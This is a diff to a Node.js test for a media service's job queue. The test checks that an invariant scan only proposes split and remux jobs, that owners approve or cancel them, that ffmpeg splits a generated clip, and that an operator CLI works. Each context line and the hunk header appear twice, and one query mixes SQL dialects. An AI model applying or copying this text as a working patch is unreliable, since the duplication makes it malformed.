+ console.log('✅ the worker aborts a job whose lease it lost, and its failure is refused');
- db.close();
- fs.rmSync(tmp, { recursive: true, force: true });
- console.log('jobs fencing: all checks passed');
- process.exit(0);
+ await db.close();
+ fs.rmSync(tmp, { recursive: true, force: true });
+ console.log('jobs fencing: all checks passed');
+ process.exit(0);
+ })().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
@@ -12,221 +12,224 @@ const path = require('path');
@@ -12,221 +12,224 @@ const path = require('path');
const http = require('http');
const http = require('http');
const { spawnSync } = require('child_process');
const { spawnSync } = require('child_process');
-const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-jobinv-'));
-const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
-process.env.DB_PATH = path.join(tmp, 'media.db');
-process.env.VOD_PATH = dir('vods');
-process.env.CLIPS_PATH = dir('clips');
-process.env.FILES_PATH = dir('files');
-process.env.THUMBNAILS_PATH = dir('thumbnails');
-process.env.PASTES_PATH = dir('pastes');
-process.env.OBJECTS_PATH = dir('objects');
-process.env.MEDIA_JOBS_POLL_MS = '50';
-process.env.MEDIA_INVARIANT_SCAN_HOURS = '0';
-process.env.MEDIA_UPLOAD_MIN_FREE_MB = '0';
-
-const MB = 1024 * 1024;
-const stub = http.createServer((req, res) => {
- req.resume();
- req.on('end', () => {
- res.setHeader('Content-Type', 'application/json');
- if (req.url === '/oauth/token') return res.end(JSON.stringify({ access_token: 'tok', token_type: 'Bearer', expires_in: 300 }));
- res.statusCode = 404; res.end('{}');
- });
-});
-const sleep = (ms) => new Promise((r) => setTimeout(r, ms));
-const waitFor = async (fn, ms = 20000) => {
- const end = Date.now() + ms;
- while (Date.now() < end) { if (await fn()) return true; await sleep(25); }
- return false;
-};
-const hasFfmpeg = spawnSync('ffmpeg', ['-version']).status === 0;
-
(async () => {
(async () => {
- await new Promise((r) => stub.listen(0, '127.0.0.1', r));
- const base = `http://127.0.0.1:${stub.address().port}`;
- const db = require('../server/db/database');
- const conn = db.getDb();
- db.upsertApp({ app_id: 'live', api_key: 'live-key' });
- const events = require('../server/events');
- events.init({ eventsUrl: base, clientSecret: 's', networkUrl: base, intervalMs: 60000 });
- const config = require('../server/config');
- const model = require('../server/objects/model');
- const queue = require('../server/jobs/queue');
- const worker = require('../server/jobs/worker');
- const scan = require('../server/jobs/invariant-scan');
- const outbox = () => conn.prepare('SELECT envelope FROM event_outbox ORDER BY id').all().map((r) => JSON.parse(r.envelope));
- const jobEvents = (id) => outbox().filter((e) => e.subject.type === 'job' && e.subject.id === id).map((e) => e.event_type);
-
- const express = require('express');
- const app = express();
- app.use(express.json());
- app.use('/api/v2/:app/jobs', require('../server/jobs/routes'));
- const server = http.createServer(app);
- await new Promise((r) => server.listen(0, '127.0.0.1', r));
- const api = `http://127.0.0.1:${server.address().port}`;
- const call = async (method, p, { body, headers = {} } = {}) => {
- const h = { authorization: 'Bearer live-key', ...headers };
- if (body !== undefined) h['content-type'] = 'application/json';
- const res = await fetch(api + p, { method, headers: h, body: body === undefined ? undefined : JSON.stringify(body) });
- return { status: res.status, body: await res.json().catch(() => null) };
+ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-jobinv-'));
+ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
+ process.env.DB_PATH = path.join(tmp, 'media.db');
+ process.env.VOD_PATH = dir('vods');
+ process.env.CLIPS_PATH = dir('clips');
+ process.env.FILES_PATH = dir('files');
+ process.env.THUMBNAILS_PATH = dir('thumbnails');
+ process.env.PASTES_PATH = dir('pastes');
+ process.env.OBJECTS_PATH = dir('objects');
+ process.env.MEDIA_JOBS_POLL_MS = '50';
+ process.env.MEDIA_INVARIANT_SCAN_HOURS = '0';
+ process.env.MEDIA_UPLOAD_MIN_FREE_MB = '0';
+
+ const MB = 1024 * 1024;
+ const stub = http.createServer((req, res) => {
+ req.resume();
+ req.on('end', () => {
+ res.setHeader('Content-Type', 'application/json');
+ if (req.url === '/oauth/token') return res.end(JSON.stringify({ access_token: 'tok', token_type: 'Bearer', expires_in: 300 }));
+ res.statusCode = 404; res.end('{}');
+ });
+ });
+ const sleep = (ms) => new Promise((r) => setTimeout(r, ms));
+ const waitFor = async (fn, ms = 20000) => {
+ const end = Date.now() + ms;
+ while (Date.now() < end) { if (await fn()) return true; await sleep(25); }
+ return false;
};
};
- const mk = (o) => model.createObject({ app_id: 'live', owner_user_id: 5, lifecycle_status: 'ready', mime_type: 'video/webm', ...o });
-
- // ── A. The validator proposes, never runs ──
- const bigVod = mk({ kind: 'vod', visibility: 'public', size_bytes: 1536 * MB, metadata: { duration_seconds: 3600 } });
- const noDur = mk({ kind: 'vod', visibility: 'unlisted', size_bytes: 800 * MB, metadata: {} });
- mk({ kind: 'vod', visibility: 'private', size_bytes: 2048 * MB, metadata: { duration_seconds: 10 } });
- mk({ kind: 'clip', visibility: 'public', size_bytes: 100 * MB });
- mk({ kind: 'clip', visibility: 'public', size_bytes: 400 * MB, metadata: { duration_seconds: 60 } });
-
- const before = db.get('SELECT COUNT(*) AS n FROM media_jobs').n;
- const dry = scan.scanTenant('live', { dryRun: true });
- assert.deepStrictEqual([dry.violations, dry.proposed, dry.by_type], [2, 2, { 'object.split': 1, 'object.remux': 1 }]);
- assert.strictEqual(db.get('SELECT COUNT(*) AS n FROM media_jobs').n, before, '--dry-run proposes nothing');
- assert.strictEqual(db.get('SELECT COUNT(*) AS n FROM media_invariant_violations').n, 0, '--dry-run records nothing');
-
- const s1 = queue.enqueue({ appId: 'live', type: 'invariant.scan', createdBy: 'test' });
- const ran = await worker.runNow(s1.job.id);
- assert.strictEqual(ran.status, 'succeeded', ran.error);
- const r1 = queue.jobPublic(ran).result;
- assert.deepStrictEqual([r1.violations, r1.proposed, r1.already_proposed, r1.counts.warn], [2, 2, 0, 1]);
- const proposals = db.all("SELECT * FROM media_jobs WHERE status = 'proposed' ORDER BY id").map(queue.jobPublic);
- const split = proposals.find((p) => p.object_id === bigVod);
- const remux = proposals.find((p) => p.object_id === noDur);
- assert.strictEqual(split.type, 'object.split');
- assert.deepStrictEqual([split.params.parts, split.params.segment_seconds, split.params.max_bytes], [6, 600, 500 * MB], '1.5 GB in parts of about the 256 MB target');
- assert.strictEqual(remux.type, 'object.remux', 'no duration: remux first');
- assert.strictEqual(split.idempotency_key, `invariant:${bigVod}:object.split`);
- assert.deepStrictEqual(jobEvents(split.id), ['media.job.proposed']);
- const proposedEv = outbox().find((e) => e.subject.id === split.id).payload;
- assert.deepStrictEqual([proposedEv.status, proposedEv.type, proposedEv.object_id, proposedEv.decided_at, proposedEv.started_at, proposedEv.has_result], ['proposed', 'object.split', bigVod, null, null, false]);
- for (const k of ['params', 'idempotency_key', 'created_by', 'decided_by', 'owner_user_id', 'result', 'error']) assert.ok(!(k in proposedEv), `the proposal's event has no ${k}`);
- assert.ok(/^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}\.000Z$/.test(proposedEv.created_at), 'ISO 8601 UTC');
- assert.strictEqual(outbox().find((e) => e.subject.id === split.id).priority, 'important', 'a proposal waiting for its owner is important');
-
- worker.start();
- for (let i = 0; i < 5; i++) { worker.kick(); await sleep(60); }
- assert.deepStrictEqual([queue.get(split.id).status, queue.get(remux.id).status, queue.get(split.id).attempts], ['proposed', 'proposed', 0], 'the worker never runs a proposal');
-
- const again = scan.scanTenant('live');
- assert.deepStrictEqual([again.proposed, again.already_proposed], [0, 2], 'a later scan proposes nothing twice');
- let r = await call('POST', `/api/v2/live/jobs/${remux.id}/cancel`);
- assert.deepStrictEqual([r.status, r.body.job.status, r.body.job.decided_by], [200, 'cancelled', 'app:live'], 'the owner rejects a proposal');
- scan.scanTenant('live');
- assert.strictEqual(queue.get(remux.id).status, 'cancelled', 'a rejected proposal stays rejected');
- assert.strictEqual(db.get('SELECT COUNT(*) AS n FROM media_jobs WHERE object_id = ?', [noDur]).n, 1, 'and is not proposed again');
- model.updateObject(bigVod, { visibility: 'private' });
- const w = scan.scanTenant('live');
- assert.strictEqual(w.withdrawn, 1);
- assert.deepStrictEqual([queue.get(split.id).status, queue.get(split.id).decided_by], ['cancelled', 'system:invariant.scan'], 'a proposal whose object stopped violating is withdrawn');
-
- config.jobs.invariantScanHours = 24;
- model.updateObject(bigVod, { visibility: 'public' });
- const scheduled = worker.scheduleInvariantScans(Date.now());
- assert.strictEqual(scheduled, 1, 'one scheduled scan per tenant with public playback objects');
- assert.strictEqual(worker.scheduleInvariantScans(Date.now()), 0, 'once per period');
- config.jobs.invariantScanHours = 0;
- assert.ok(await waitFor(() => db.get("SELECT status FROM media_jobs WHERE job_type = 'invariant.scan' AND created_by = 'system:schedule'").status === 'succeeded'));
- console.log('✅ invariant.scan proposes split/remux for public objects over the limit; nothing runs until the owner decides');
-
- // ── B. Approved and explicit split/remux jobs (ffmpeg) ──
- r = await call('POST', '/api/v2/live/jobs', { body: { type: 'object.split', object_id: model.createObject({ app_id: 'live', kind: 'file', lifecycle_status: 'ready', size_bytes: 1 }), params: { parts: 2 } } });
- assert.deepStrictEqual([r.status, r.body.code], [400, 'media.job.invalid'], 'only media objects are split');
- r = await call('POST', '/api/v2/live/jobs', { body: { type: 'object.split', object_id: bigVod, params: { parts: 1 } } });
- assert.deepStrictEqual([r.status, r.body.code], [400, 'media.job.invalid'], 'parts 2-1000');
-
- if (!hasFfmpeg) {
- console.log('split/remux execution: skipped (ffmpeg not found)');
- } else {
- const src = path.join(process.env.VOD_PATH, 'rec-10.mp4');
- const mk6 = spawnSync('ffmpeg', ['-v', 'error', '-y', '-f', 'lavfi', '-i', 'testsrc=duration=6:size=160x120:rate=10', '-f', 'lavfi', '-i', 'sine=frequency=440:duration=6',
- '-c:v', 'mpeg4', '-g', '10', '-c:a', 'aac', '-shortest', src]);
- assert.strictEqual(mk6.status, 0, String(mk6.stderr));
- const size = fs.statSync(src).size;
- conn.prepare("INSERT INTO vods (id, app_id, user_id, title, file_path, file_size, is_public, duration_seconds) VALUES (10, 'live', 5, 'Six seconds', ?, ?, 1, 6)").run(src, size);
- const vodObj = model.sync('vod', 10).id;
- const srcBefore = model.getObject(vodObj);
- const locsBefore = JSON.stringify(model.listLocations(vodObj));
-
- // The validator proposes a split once the policy says the object is too large; the owner approves it.
- config.objects.publicMaxMb = 0;
- config.objects.publicTargetMb = 0;
- scan.scanTenant('live');
- const prop = queue.jobPublic(db.get("SELECT * FROM media_jobs WHERE object_id = ? AND status = 'proposed'", [vodObj]));
- assert.deepStrictEqual([prop.type, prop.params.segment_seconds], ['object.split', 1]);
- r = await call('POST', `/api/v2/live/jobs/${prop.id}/approve`);
- assert.deepStrictEqual([r.status, r.body.job.status, r.body.job.decided_by], [200, 'queued', 'app:live']);
- assert.ok(await waitFor(() => ['succeeded', 'failed'].includes(queue.get(prop.id).status)), 'the approved split runs');
- const done = queue.jobPublic(queue.get(prop.id));
- assert.strictEqual(done.status, 'succeeded', done.error);
- assert.deepStrictEqual(jobEvents(prop.id), ['media.job.proposed', 'media.job.queued', 'media.job.started', 'media.job.succeeded']);
- assert.strictEqual(done.result.parts.length, 6, '6 s in 1 s parts');
- let total = 0;
- for (const p of done.result.parts) {
- const o = model.getObject(p.object_id);
- assert.deepStrictEqual([o.visibility, o.lifecycle_status, o.kind, o.app_id, o.owner_user_id, o.legacy_ref, o.mime_type], ['private', 'ready', 'vod', 'live', 5, null, 'video/mp4']);
- const loc = model.listLocations(o.id)[0];
- assert.deepStrictEqual([loc.provider, loc.state, loc.size_bytes], ['local', 'present', o.size_bytes]);
- assert.ok(fs.existsSync(loc.key) && loc.key.startsWith(path.join(process.env.OBJECTS_PATH, 'live')));
- const rel = db.get("SELECT * FROM media_relationships WHERE from_object_id = ? AND relation = 'derived_from'", [o.id]);
- assert.strictEqual(rel.to_object_id, vodObj);
- assert.deepStrictEqual([JSON.parse(rel.metadata).job_id, JSON.parse(rel.metadata).part], [prop.id, p.part]);
- total += p.duration_seconds;
+ const hasFfmpeg = spawnSync('ffmpeg', ['-version']).status === 0;
+
+ (async () => {
+ await new Promise((r) => stub.listen(0, '127.0.0.1', r));
+ const base = `http://127.0.0.1:${stub.address().port}`;
+ const db = require('../server/db/database');
+ const conn = db.getDb();
+ await db.upsertApp({ app_id: 'live', api_key: 'live-key' });
+ const events = require('../server/events');
+ events.init({ eventsUrl: base, clientSecret: 's', networkUrl: base, intervalMs: 60000 });
+ const config = require('../server/config');
+ const model = require('../server/objects/model');
+ const queue = require('../server/jobs/queue');
+ const worker = require('../server/jobs/worker');
+ const scan = require('../server/jobs/invariant-scan');
+ const outbox = async () => (await conn.prepare('SELECT envelope FROM event_outbox ORDER BY id').all()).map((r) => (typeof r.envelope === 'string' ? JSON.parse(r.envelope) : r.envelope));
+ const jobEvents = async (id) => (await outbox()).filter((e) => e.subject.type === 'job' && e.subject.id === id).map((e) => e.event_type);
+
+ const express = require('express');
+ const app = express();
+ app.use(express.json());
+ app.use('/api/v2/:app/jobs', require('../server/jobs/routes'));
+ const server = http.createServer(app);
+ await new Promise((r) => server.listen(0, '127.0.0.1', r));
+ const api = `http://127.0.0.1:${server.address().port}`;
+ const call = async (method, p, { body, headers = {} } = {}) => {
+ const h = { authorization: 'Bearer live-key', ...headers };
+ if (body !== undefined) h['content-type'] = 'application/json';
+ const res = await fetch(api + p, { method, headers: h, body: body === undefined ? undefined : JSON.stringify(body) });
+ return { status: res.status, body: await res.json().catch(() => null) };
+ };
+ const mk = async (o) => await model.createObject({ app_id: 'live', owner_user_id: 5, lifecycle_status: 'ready', mime_type: 'video/webm', ...o });
+
+ // ── A. The validator proposes, never runs ──
+ const bigVod = await mk({ kind: 'vod', visibility: 'public', size_bytes: 1536 * MB, metadata: { duration_seconds: 3600 } });
+ const noDur = await mk({ kind: 'vod', visibility: 'unlisted', size_bytes: 800 * MB, metadata: {} });
+ await mk({ kind: 'vod', visibility: 'private', size_bytes: 2048 * MB, metadata: { duration_seconds: 10 } });
+ await mk({ kind: 'clip', visibility: 'public', size_bytes: 100 * MB });
+ await mk({ kind: 'clip', visibility: 'public', size_bytes: 400 * MB, metadata: { duration_seconds: 60 } });
+
+ const before = (await db.get('SELECT COUNT(*) AS n FROM media_jobs')).n;
+ const dry = await scan.scanTenant('live', { dryRun: true });
+ assert.deepStrictEqual([dry.violations, dry.proposed, dry.by_type], [2, 2, { 'object.split': 1, 'object.remux': 1 }]);
+ assert.strictEqual((await db.get('SELECT COUNT(*) AS n FROM media_jobs')).n, before, '--dry-run proposes nothing');
+ assert.strictEqual((await db.get('SELECT COUNT(*) AS n FROM media_invariant_violations')).n, 0, '--dry-run records nothing');
+
+ const s1 = await queue.enqueue({ appId: 'live', type: 'invariant.scan', createdBy: 'test' });
+ const ran = await worker.runNow(s1.job.id);
+ assert.strictEqual(ran.status, 'succeeded', ran.error);
+ const r1 = queue.jobPublic(ran).result;
+ assert.deepStrictEqual([r1.violations, r1.proposed, r1.already_proposed, r1.counts.warn], [2, 2, 0, 1]);
+ const proposals = (await db.all("SELECT * FROM media_jobs WHERE status = 'proposed' ORDER BY id")).map(queue.jobPublic);
+ const split = proposals.find((p) => p.object_id === bigVod);
+ const remux = proposals.find((p) => p.object_id === noDur);
+ assert.strictEqual(split.type, 'object.split');
+ assert.deepStrictEqual([split.params.parts, split.params.segment_seconds, split.params.max_bytes], [6, 600, 500 * MB], '1.5 GB in parts of about the 256 MB target');
+ assert.strictEqual(remux.type, 'object.remux', 'no duration: remux first');
+ assert.strictEqual(split.idempotency_key, `invariant:${bigVod}:object.split`);
+ assert.deepStrictEqual(await jobEvents(split.id), ['media.job.proposed']);
+ const proposedEv = (await outbox()).find((e) => e.subject.id === split.id).payload;
+ assert.deepStrictEqual([proposedEv.status, proposedEv.type, proposedEv.object_id, proposedEv.decided_at, proposedEv.started_at, proposedEv.has_result], ['proposed', 'object.split', bigVod, null, null, false]);
+ for (const k of ['params', 'idempotency_key', 'created_by', 'decided_by', 'owner_user_id', 'result', 'error']) assert.ok(!(k in proposedEv), `the proposal's event has no ${k}`);
+ assert.ok(/^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}\.000Z$/.test(proposedEv.created_at), 'ISO 8601 UTC');
+ assert.strictEqual((await outbox()).find((e) => e.subject.id === split.id).priority, 'important', 'a proposal waiting for its owner is important');
+
+ await worker.start();
+ for (let i = 0; i < 5; i++) { worker.kick(); await sleep(60); }
+ assert.deepStrictEqual([(await queue.get(split.id)).status, (await queue.get(remux.id)).status, (await queue.get(split.id)).attempts], ['proposed', 'proposed', 0], 'the worker never runs a proposal');
+
+ const again = await scan.scanTenant('live');
+ assert.deepStrictEqual([again.proposed, again.already_proposed], [0, 2], 'a later scan proposes nothing twice');
+ let r = await call('POST', `/api/v2/live/jobs/${remux.id}/cancel`);
+ assert.deepStrictEqual([r.status, r.body.job.status, r.body.job.decided_by], [200, 'cancelled', 'app:live'], 'the owner rejects a proposal');
+ await scan.scanTenant('live');
+ assert.strictEqual((await queue.get(remux.id)).status, 'cancelled', 'a rejected proposal stays rejected');
+ assert.strictEqual((await db.get('SELECT COUNT(*) AS n FROM media_jobs WHERE object_id = ?', [noDur])).n, 1, 'and is not proposed again');
+ await model.updateObject(bigVod, { visibility: 'private' });
+ const w = await scan.scanTenant('live');
+ assert.strictEqual(w.withdrawn, 1);
+ assert.deepStrictEqual([(await queue.get(split.id)).status, (await queue.get(split.id)).decided_by], ['cancelled', 'system:invariant.scan'], 'a proposal whose object stopped violating is withdrawn');
+
+ config.jobs.invariantScanHours = 24;
+ await model.updateObject(bigVod, { visibility: 'public' });
+ const scheduled = await worker.scheduleInvariantScans(Date.now());
+ assert.strictEqual(scheduled, 1, 'one scheduled scan per tenant with public playback objects');
+ assert.strictEqual(await worker.scheduleInvariantScans(Date.now()), 0, 'once per period');
+ config.jobs.invariantScanHours = 0;
+ assert.ok(await waitFor(async () => (await db.get("SELECT status FROM media_jobs WHERE job_type = 'invariant.scan' AND created_by = 'system:schedule'")).status === 'succeeded'));
+ console.log('✅ invariant.scan proposes split/remux for public objects over the limit; nothing runs until the owner decides');
+
+ // ── B. Approved and explicit split/remux jobs (ffmpeg) ──
+ r = await call('POST', '/api/v2/live/jobs', { body: { type: 'object.split', object_id: await model.createObject({ app_id: 'live', kind: 'file', lifecycle_status: 'ready', size_bytes: 1 }), params: { parts: 2 } } });
+ assert.deepStrictEqual([r.status, r.body.code], [400, 'media.job.invalid'], 'only media objects are split');
+ r = await call('POST', '/api/v2/live/jobs', { body: { type: 'object.split', object_id: bigVod, params: { parts: 1 } } });
+ assert.deepStrictEqual([r.status, r.body.code], [400, 'media.job.invalid'], 'parts 2-1000');
+
+ if (!hasFfmpeg) {
+ console.log('split/remux execution: skipped (ffmpeg not found)');
+ } else {
+ const src = path.join(process.env.VOD_PATH, 'rec-10.mp4');
+ const mk6 = spawnSync('ffmpeg', ['-v', 'error', '-y', '-f', 'lavfi', '-i', 'testsrc=duration=6:size=160x120:rate=10', '-f', 'lavfi', '-i', 'sine=frequency=440:duration=6',
+ '-c:v', 'mpeg4', '-g', '10', '-c:a', 'aac', '-shortest', src]);
+ assert.strictEqual(mk6.status, 0, String(mk6.stderr));
+ const size = fs.statSync(src).size;
+ await conn.prepare("INSERT INTO vods (id, app_id, user_id, title, file_path, file_size, is_public, duration_seconds) OVERRIDING SYSTEM VALUE VALUES (10, 'live', 5, 'Six seconds', ?, ?, 1, 6) RETURNING id").run(src, size);
+ const vodObj = (await model.sync('vod', 10)).id;
+ const srcBefore = await model.getObject(vodObj);
+ const locsBefore = JSON.stringify(await model.listLocations(vodObj));
+
+ // The validator proposes a split once the policy says the object is too large; the owner approves it.
+ config.objects.publicMaxMb = 0;
+ config.objects.publicTargetMb = 0;
+ await scan.scanTenant('live');
+ const prop = queue.jobPublic(await db.get("SELECT * FROM media_jobs WHERE object_id = ? AND status = 'proposed'", [vodObj]));
+ assert.deepStrictEqual([prop.type, prop.params.segment_seconds], ['object.split', 1]);
+ r = await call('POST', `/api/v2/live/jobs/${prop.id}/approve`);
+ assert.deepStrictEqual([r.status, r.body.job.status, r.body.job.decided_by], [200, 'queued', 'app:live']);
+ assert.ok(await waitFor(async () => ['succeeded', 'failed'].includes((await queue.get(prop.id)).status)), 'the approved split runs');
+ const done = queue.jobPublic(await queue.get(prop.id));
+ assert.strictEqual(done.status, 'succeeded', done.error);
+ assert.deepStrictEqual(await jobEvents(prop.id), ['media.job.proposed', 'media.job.queued', 'media.job.started', 'media.job.succeeded']);
+ assert.strictEqual(done.result.parts.length, 6, '6 s in 1 s parts');
+ let total = 0;
+ for (const p of done.result.parts) {
+ const o = await model.getObject(p.object_id);
+ assert.deepStrictEqual([o.visibility, o.lifecycle_status, o.kind, o.app_id, o.owner_user_id, o.legacy_ref, o.mime_type], ['private', 'ready', 'vod', 'live', 5, null, 'video/mp4']);
+ const loc = (await model.listLocations(o.id))[0];
+ assert.deepStrictEqual([loc.provider, loc.state, loc.size_bytes], ['local', 'present', o.size_bytes]);
+ assert.ok(fs.existsSync(loc.key) && loc.key.startsWith(path.join(process.env.OBJECTS_PATH, 'live')));
+ const rel = await db.get("SELECT * FROM media_relationships WHERE from_object_id = ? AND relation = 'derived_from'", [o.id]);
+ assert.strictEqual(rel.to_object_id, vodObj);
+ assert.deepStrictEqual([JSON.parse(rel.metadata).job_id, JSON.parse(rel.metadata).part], [prop.id, p.part]);
+ total += p.duration_seconds;
+ }
+ assert.ok(Math.abs(total - 6) < 0.5, 'the parts cover the source');
+ const srcAfter = await model.getObject(vodObj);
+ assert.deepStrictEqual([srcAfter.visibility, srcAfter.size_bytes, srcAfter.lifecycle_status, srcAfter.content_hash], [srcBefore.visibility, srcBefore.size_bytes, 'ready', srcBefore.content_hash], 'the source is unchanged');
+ assert.strictEqual(JSON.stringify(await model.listLocations(vodObj)), locsBefore);
+ assert.strictEqual(fs.statSync(src).size, size, 'its bytes too');
+ assert.ok(!fs.existsSync(path.join(process.env.OBJECTS_PATH, '.jobs', prop.id)), 'the work directory is removed');
+ config.objects.publicMaxMb = 500;
+ config.objects.publicTargetMb = 256;
+
+ // A retry resumes after the parts its checkpoint names.
+ const resumed = await queue.enqueue({ appId: 'live', type: 'object.split', objectId: vodObj, params: { parts: 3 }, createdBy: 'test' });
+ await queue.saveCheckpoint(resumed.job.id, { parts: [{ part: 1, object_id: 'med_done_before', start_seconds: 0, duration_seconds: 2, size_bytes: 10 }] });
+ assert.ok(await waitFor(async () => (await queue.get(resumed.job.id)).status === 'succeeded'));
+ const rr = queue.jobPublic(await queue.get(resumed.job.id)).result;
+ assert.deepStrictEqual(rr.parts.map((p) => p.part), [1, 2, 3]);
+ assert.strictEqual(rr.parts[0].object_id, 'med_done_before', 'part 1 was not cut again');
+ assert.strictEqual((await db.get("SELECT COUNT(*) AS n FROM media_relationships WHERE relation = 'derived_from' AND json_extract(metadata, '$.job_id') = ?", [resumed.job.id])).n, 2);
+
+ // A remux: one private object, the source's remux variant.
+ r = await call('POST', '/api/v2/live/jobs', { body: { type: 'object.remux', object_id: `legacy:live:vod:10` }, headers: { 'idempotency-key': 'remux-10' } });
+ assert.strictEqual(r.status, 202);
+ assert.ok(await waitFor(async () => (await queue.get(r.body.job.id)).status === 'succeeded'));
+ const rm = queue.jobPublic(await queue.get(r.body.job.id)).result;
+ assert.deepStrictEqual([(await model.getObject(rm.object_id)).visibility, Math.round(rm.duration_seconds), (await model.getVariant(vodObj, 'remux')).derived_object_id], ['private', 6, rm.object_id]);
+ console.log('✅ an approved split and a remux make private derived objects; the source is untouched; retries resume');
}
}
- assert.ok(Math.abs(total - 6) < 0.5, 'the parts cover the source');
- const srcAfter = model.getObject(vodObj);
- assert.deepStrictEqual([srcAfter.visibility, srcAfter.size_bytes, srcAfter.lifecycle_status, srcAfter.content_hash], [srcBefore.visibility, srcBefore.size_bytes, 'ready', srcBefore.content_hash], 'the source is unchanged');
- assert.strictEqual(JSON.stringify(model.listLocations(vodObj)), locsBefore);
- assert.strictEqual(fs.statSync(src).size, size, 'its bytes too');
- assert.ok(!fs.existsSync(path.join(process.env.OBJECTS_PATH, '.jobs', prop.id)), 'the work directory is removed');
- config.objects.publicMaxMb = 500;
- config.objects.publicTargetMb = 256;
-
- // A retry resumes after the parts its checkpoint names.
- const resumed = queue.enqueue({ appId: 'live', type: 'object.split', objectId: vodObj, params: { parts: 3 }, createdBy: 'test' });
- queue.saveCheckpoint(resumed.job.id, { parts: [{ part: 1, object_id: 'med_done_before', start_seconds: 0, duration_seconds: 2, size_bytes: 10 }] });
- assert.ok(await waitFor(() => queue.get(resumed.job.id).status === 'succeeded'));
- const rr = queue.jobPublic(queue.get(resumed.job.id)).result;
- assert.deepStrictEqual(rr.parts.map((p) => p.part), [1, 2, 3]);
- assert.strictEqual(rr.parts[0].object_id, 'med_done_before', 'part 1 was not cut again');
- assert.strictEqual(db.get("SELECT COUNT(*) AS n FROM media_relationships WHERE relation = 'derived_from' AND json_extract(metadata, '$.job_id') = ?", [resumed.job.id]).n, 2);
-
- // A remux: one private object, the source's remux variant.
- r = await call('POST', '/api/v2/live/jobs', { body: { type: 'object.remux', object_id: `legacy:live:vod:10` }, headers: { 'idempotency-key': 'remux-10' } });
- assert.strictEqual(r.status, 202);
- assert.ok(await waitFor(() => queue.get(r.body.job.id).status === 'succeeded'));
- const rm = queue.jobPublic(queue.get(r.body.job.id)).result;
- assert.deepStrictEqual([model.getObject(rm.object_id).visibility, Math.round(rm.duration_seconds), model.getVariant(vodObj, 'remux').derived_object_id], ['private', 6, rm.object_id]);
- console.log('✅ an approved split and a remux make private derived objects; the source is untouched; retries resume');
- }
-
- // ── C. The operator script: scan (dry run by default), approve, cancel; events go to the service's outbox ──
- worker.stop();
- const script = (...a) => spawnSync(process.execPath, [path.join(__dirname, '../scripts/media-jobs.js'), ...a], { env: process.env, encoding: 'utf8' });
- const jobsBefore = db.get('SELECT COUNT(*) AS n FROM media_jobs').n;
- let sc = script('scan', '--app', 'live', '--json');
- assert.strictEqual(sc.status, 0, sc.stderr);
- assert.strictEqual(JSON.parse(sc.stdout).live.dry_run, true);
- assert.strictEqual(db.get('SELECT COUNT(*) AS n FROM media_jobs').n, jobsBefore, 'scan is a dry run unless --apply');
- const manual = queue.enqueue({ appId: 'live', type: 'object.remux', objectId: bigVod, status: 'proposed', createdBy: 'test' });
- sc = script('approve', manual.job.id, '--by', 'owner');
- assert.strictEqual(sc.status, 0, sc.stderr);
- assert.deepStrictEqual([queue.get(manual.job.id).status, queue.get(manual.job.id).decided_by], ['queued', 'owner']);
- assert.ok(jobEvents(manual.job.id).includes('media.job.queued'), "the script's change queued its event in the outbox");
- const approvedEv = outbox().filter((e) => e.subject.id === manual.job.id && e.event_type === 'media.job.queued').pop().payload;
- assert.ok(/Z$/.test(approvedEv.decided_at) && !('decided_by' in approvedEv) && !JSON.stringify(approvedEv).includes('owner'), 'the approval is dated, its decider is not published');
- sc = script('cancel', manual.job.id, '--by', 'owner');
- assert.strictEqual(sc.status, 0, sc.stderr);
- assert.strictEqual(queue.get(manual.job.id).status, 'cancelled');
- assert.strictEqual(script('approve', 'mjob_nope').status, 1);
- sc = script('list', '--status', 'cancelled', '--json');
- assert.ok(JSON.parse(sc.stdout).jobs.some((j) => j.id === manual.job.id));
- console.log('✅ scripts/media-jobs.js: scan dry-run, approve and cancel with their events');
-
- events._reset();
- server.close();
- stub.close();
- console.log('\njobs-invariant: all checks passed');
- process.exit(0);
+
+ // ── C. The operator script: scan (dry run by default), approve, cancel; events go to the service's outbox ──
+ worker.stop();
+ const { runScript } = require('./helpers/run-script');
+ const script = async (...a) => { const r = await runScript(path.join(__dirname, '../scripts/media-jobs.js'), a); return { status: r.code, stdout: r.out, stderr: r.err }; };
+ const jobsBefore = (await db.get('SELECT COUNT(*) AS n FROM media_jobs')).n;
+ let sc = await script('scan', '--app', 'live', '--json');
+ assert.strictEqual(sc.status, 0, sc.stderr);
+ assert.strictEqual(JSON.parse(sc.stdout).live.dry_run, true);
+ assert.strictEqual((await db.get('SELECT COUNT(*) AS n FROM media_jobs')).n, jobsBefore, 'scan is a dry run unless --apply');
+ const manual = await queue.enqueue({ appId: 'live', type: 'object.remux', objectId: bigVod, status: 'proposed', createdBy: 'test' });
+ sc = await script('approve', manual.job.id, '--by', 'owner');
+ assert.strictEqual(sc.status, 0, sc.stderr);
+ assert.deepStrictEqual([(await queue.get(manual.job.id)).status, (await queue.get(manual.job.id)).decided_by], ['queued', 'owner']);
+ assert.ok((await jobEvents(manual.job.id)).includes('media.job.queued'), "the script's change queued its event in the outbox");
+ const approvedEv = (await outbox()).filter((e) => e.subject.id === manual.job.id && e.event_type === 'media.job.queued').pop().payload;
+ assert.ok(/Z$/.test(approvedEv.decided_at) && !('decided_by' in approvedEv) && !JSON.stringify(approvedEv).includes('owner'), 'the approval is dated, its decider is not published');
+ sc = await script('cancel', manual.job.id, '--by', 'owner');
+ assert.strictEqual(sc.status, 0, sc.stderr);
+ assert.strictEqual((await queue.get(manual.job.id)).status, 'cancelled');
+ assert.strictEqual((await script('approve', 'mjob_nope')).status, 1);
+ sc = await script('list', '--status', 'cancelled', '--json');
+ assert.ok(JSON.parse(sc.stdout).jobs.some((j) => j.id === manual.job.id));
+ console.log('✅ scripts/media-jobs.js: scan dry-run, approve and cancel with their events');
+
+ events._reset();
+ server.close();
+ stub.close();
+ console.log('\njobs-invariant: all checks passed');
+ process.exit(0);
+ })().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
